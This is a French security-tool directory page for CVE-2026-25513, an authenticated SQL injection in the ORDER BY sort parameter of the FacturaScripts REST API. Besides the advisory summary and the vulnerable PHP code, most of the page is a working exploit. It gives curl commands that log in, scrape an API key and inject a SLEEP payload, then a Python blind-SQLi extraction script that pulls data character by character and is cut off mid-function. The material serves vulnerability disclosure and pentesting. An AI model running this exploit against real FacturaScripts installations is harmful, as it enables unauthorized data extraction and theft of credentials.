Skip to content
KitploitKITPLOIT
OutilsBlog
Log in
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-25513 — CVE-2026-25513 - FacturaScripts présente une injection SQL dans la clause ORDER BY de l'API | Kitploit
Outils/GitHubGitHub/lukasz-rybak/cve-2026-25513
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et Éducation
GitHublukasz-rybak/cve-2026-25513

CVE-2026-25513

CVE-2026-25513 - FacturaScripts présente une injection SQL dans la clause ORDER BY de l'API

Voir le dépôt
4il y a 5 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-25513 : FacturaScripts a une injection SQL dans la clause ORDER BY de l'API

Aperçu

ChampDétails
Identifiant CVECVE-2026-25513
SévéritéÉLEVÉE
Avis de sécuritéVoir l'avis
Découvert parLukasz Rybak

Produits concernés

  • facturascripts/facturascripts (versions: < 2025.81)

Classification CWE

  • CWE-20 : Validation incorrecte des entrées
  • CWE-89 : Neutralisation incorrecte des éléments spéciaux utilisés dans une commande SQL ('Injection SQL')
  • CWE-943 : Neutralisation incorrecte des éléments spéciaux dans la logique de requête de données
  • CWE-1286 : Validation incorrecte de la correction syntaxique des entrées

Détails

Résumé

FacturaScripts contient une vulnérabilité critique d'injection SQL dans l'API REST qui permet aux utilisateurs authentifiés de l'API d'exécuter des requêtes SQL arbitraires via le paramètre sort. La vulnérabilité se trouve dans la méthode ModelClass::getOrderBy() où les paramètres de tri fournis par l'utilisateur sont directement concaténés dans la clause SQL ORDER BY sans validation ni assainissement. Cela affecte tous les points de terminaison de l'API qui prennent en charge la fonctionnalité de tri.


Détails

L'API REST de FacturaScripts expose les modèles de base de données via divers points de terminaison (par exemple, /api/3/users, /api/3/attachedfiles, /api/3/customers). Ces points de terminaison prennent en charge un paramètre sort qui permet aux clients de spécifier l'ordre des résultats. L'API traite ce paramètre via la méthode ModelClass::all(), qui appelle la fonction vulnérable getOrderBy().

Emplacements du code vulnérable

1. Modèles hérités : Fichier : /Core/Model/Base/ModelClass.php Méthode : getOrderBy() Concaténation directe des clés et des valeurs du tableau $order.

2. Modèles modernes (DbQuery) : Fichier : /Core/DbQuery.php Méthode : orderBy() Lignes : 255-259

        // If it contains parentheses, it is not escaped (VULNERABILITY!)
        if (strpos($field, '(') !== false && strpos($field, ')') !== false) {
            $this->orderBy[] = $field . ' ' . $order;
            return $this;
        }

Cette vérification est destinée à autoriser les fonctions SQL mais échoue à les valider, permettant une injection SQL arbitraire.


Preuve de concept (PoC)

Prérequis

  • Jeton d'authentification API valide (en-tête X-Auth-Token)
  • Accès aux points de terminaison de l'API FacturaScripts

Vérification étape par étape (CLI)

Comme FacturaScripts nécessite une clé API existante, nous nous connectons d'abord via l'interface web pour trouver une clé valide.

1. Connexion et récupération d'une clé API valide : Nous gérons le jeton CSRF et les cookies de session pour accéder aux paramètres et récupérer la première clé disponible.

# Login
TOKEN=$(curl -s -L -c cookies.txt "http://localhost:8091/login" | grep -Po 'name="multireqtoken" value="\K[^"]+' | head -n 1)
curl -s -b cookies.txt -c cookies.txt -X POST "http://localhost:8091/login" \
  -d "fsNick=admin" -d "fsPassword=admin" -d "action=login" -d "multireqtoken=$TOKEN"

# Find the ID of the first existing API key
API_ID=$(curl -s -b cookies.txt "http://localhost:8091/EditSettings?activetab=ListApiKey" | grep -Po 'EditApiKey\?code=\K\d+' | head -n 1)

# Extract the API key string using its ID
API_KEY=$(curl -s -b cookies.txt "http://localhost:8091/EditApiKey?code=$API_ID" | grep -Po 'name="apikey" value="\K[^"]+' | head -n 1)
echo "Using API Key: $API_KEY"

2. Vérification de l'injection SQL basée sur le temps : Utilisez la API_KEY extraite dans l'en-tête X-Auth-Token.

# Normal request (baseline)
time curl -g -s -H "X-Auth-Token: $API_KEY" "http://localhost:8091/api/3/users?limit=1"

# Injected request (SLEEP payload in the sort key)
time curl -g -s -H "X-Auth-Token: $API_KEY" \
  "http://localhost:8091/api/3/users?limit=1&sort[nick,(SELECT(SLEEP(3)))]=ASC"

Résultat attendu : La requête injectée prendra significativement plus de temps (le délai dépend des enregistrements de la base de données), confirmant l'injection SQL.


Outil d'exploitation automatisé

Ce script se connecte automatiquement à FacturaScripts, récupère une clé API valide et effectue une extraction de données sensible à la casse à l'aide d'une injection SQL aveugle basée sur le temps.

import requests
import time
import string
import re

# Configuration
BASE_URL = "http://localhost:8091"
USERNAME = "admin"
PASSWORD = "admin"
API_ENDPOINT = "/api/3/users"

session = requests.Session()

def get_token(url):
    """Extract multireqtoken from any page"""
    res = session.get(url)
    match = re.search(r'name="multireqtoken" value="([^"]+)"', res.text)
    return match.group(1) if match else None

def get_api_key():
    """Logs in and retrieves the first active API key dynamically"""
    print(f"[*] Logging in as {USERNAME}...")
    
    # 1. Login flow
    token = get_token(f"{BASE_URL}/login")
    if not token:
        print("[!] Failed to get initial CSRF token")
        return None
        
    login_data = {
        "fsNick": USERNAME,
        "fsPassword": PASSWORD,
        "action": "login",
        "multireqtoken": token
    }
    res = session.post(f"{BASE_URL}/login", data=login_data)
    if "Dashboard" not in res.text:
        print("[!] Login failed!")
        return None
    print("[+] Login successful.")

    # 2. Retrieve API Key ID from settings
    print("[*] Accessing API settings...")
    res = session.get(f"{BASE_URL}/EditSettings?activetab=ListApiKey")
    id_match = re.search(r'EditApiKey\?code=(\d+)', res.text)
    if not id_match:
        print("[!] No API keys found in system!")
        return None
    
    api_id = id_match.group(1)
    
    # 3. Get the actual API key string
    print(f"[*] Retrieving API key for ID {api_id}...")
    res = session.get(f"{BASE_URL}/EditApiKey?code={api_id}")
    key_match = re.search(r'name="apikey" value="([^"]+)"', res.text)
    if not key_match:
        print("[!] Failed to extract API key from page!")
        return None
        
    return key_match.group(1)

def time_based_sqli(api_key, payload):
    """Execute time-based SQL injection and measure response time"""
    headers = {"X-Auth-Token": api_key}
    params = {
        'limit': 1,
        f'sort[{payload}]': 'ASC'
    }
    start = time.time()
    try:
        requests.get(f"{BASE_URL}{API_ENDPOINT}", headers=headers, params=params, timeout=10)
    except requests.exceptions.ReadTimeout:
        return 10.0
    except:
        pass
    return time.time() - start

def extract_data(api_key, query, length=60):
    """Extracts data char by char using time-based blind SQLi"""
    extracted = ""
    charset = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ$./"
    
    print(f"[*] Starting extraction for query: {query}")
    for i in range(1, length + 1):
        found = False
        for char in charset:
            # Added BINARY to force case-sensitive comparison
            payload = f"(SELECT IF(BINARY SUBSTRING(({query}),{i},1)='{char}',SLEEP(2),nick))"
            elapsed = time_based_sqli(api_key, payload)
            
            if elapsed >= 2.0:
                extracted += char
                print(f"[+] Found char at pos {i}: {char} -> {extracted}")
                found = True
                break
        if not found:
            break
    return extracted

def main():
    print("="*60)
    print(" FacturaScripts Dynamic SQLi Exfiltration Tool")
    print("="*60)

    # 1. Get API Key dynamically
    api_key = get_api_key()
    if not api_key:
        return
    print(f"[+] Using API Key: {api_key}")
Télécharger l’outil